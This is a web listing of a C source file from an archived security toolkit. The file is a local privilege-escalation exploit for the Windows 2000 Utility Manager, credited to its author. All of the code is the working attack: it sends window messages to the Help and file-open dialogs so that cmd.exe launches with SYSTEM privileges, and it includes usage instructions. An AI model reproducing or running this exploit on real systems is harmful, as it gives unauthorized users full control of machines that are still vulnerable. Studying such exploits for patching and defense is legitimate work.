home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / UtilManExploit2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  85 lines

  1. //by Cesar Cerrudo  sqlsec>at<yahoo.com
  2. //Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!)
  3. //Gives you a shell with system privileges
  4. //If you have problems try changing Sleep() values.
  5.  
  6. #include "stdio.h"
  7. #include "windows.h"
  8.  
  9.  
  10. int main(int argc, char* argv[])
  11. {
  12.     HWND lHandle, lHandle2;
  13.     POINT point;
  14.     char sText[]="%windir%\\system32\\cmd.ex?";
  15.  
  16. //  run utility manager
  17. //    system("utilman.exe /start");
  18. //    Sleep(500);
  19.  
  20.     lHandle=FindWindow(NULL, "Utility manager");   
  21.     if (!lHandle) {
  22.         printf("\nUsage :\nPress Win Key+U to launch Utility Manager and then run UtilManExploit2.exe\n");
  23.         return 0;
  24.     }
  25.  
  26.     PostMessage(lHandle,0x313,NULL,NULL); //=right click on the app button in the taskbar or Alt+Space Bar
  27.     
  28.     Sleep(100);
  29.  
  30.     SendMessage(lHandle,0x365,NULL,0x1); //send WM_COMMANDHELP  0x0365  lParam must be <>NULL 
  31.     Sleep(300);
  32.     
  33.     SendMessage (FindWindow(NULL, "Windows Help"), WM_IME_KEYDOWN, VK_RETURN, 0);
  34.     Sleep(500);
  35.  
  36.  
  37.     // find open file dialog window
  38.     lHandle = FindWindow("#32770","Open");
  39.  
  40.     // get input box handle
  41.     lHandle2 = GetDlgItem(lHandle, 0x47C);
  42.     Sleep(500);
  43.  
  44.     // set text to filter listview to display only cmd.exe
  45.     SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
  46.     Sleep(800);
  47.  
  48.     // send return
  49.     SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
  50.  
  51.     //get navigation bar handle
  52.     lHandle2 = GetDlgItem(lHandle, 0x4A0);
  53.     
  54.     //send tab
  55.     SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
  56.     Sleep(500);
  57.     lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
  58.     //get list view handle
  59.     lHandle2 = GetDlgItem(lHandle2, 0x1);
  60.  
  61.     SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
  62.     SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
  63.     SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
  64.     Sleep(500);
  65.  
  66.     //popup context menu
  67.     PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
  68.     Sleep(1000);
  69.  
  70.     // get context menu handle
  71.     point.x =10; point.y =30;
  72.     lHandle2=WindowFromPoint(point);
  73.  
  74.     SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
  75.     SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
  76.     SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return
  77.  
  78.     SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
  79.     Sleep(500);
  80.     SendMessage (FindWindow(NULL, "Windows Help"), WM_CLOSE, 0, 0);// close open error window
  81.     SendMessage (FindWindow(NULL, "Utility manager"), WM_CLOSE, 0, 0);// close utility manager
  82.     return 0;
  83. }
  84.  
  85.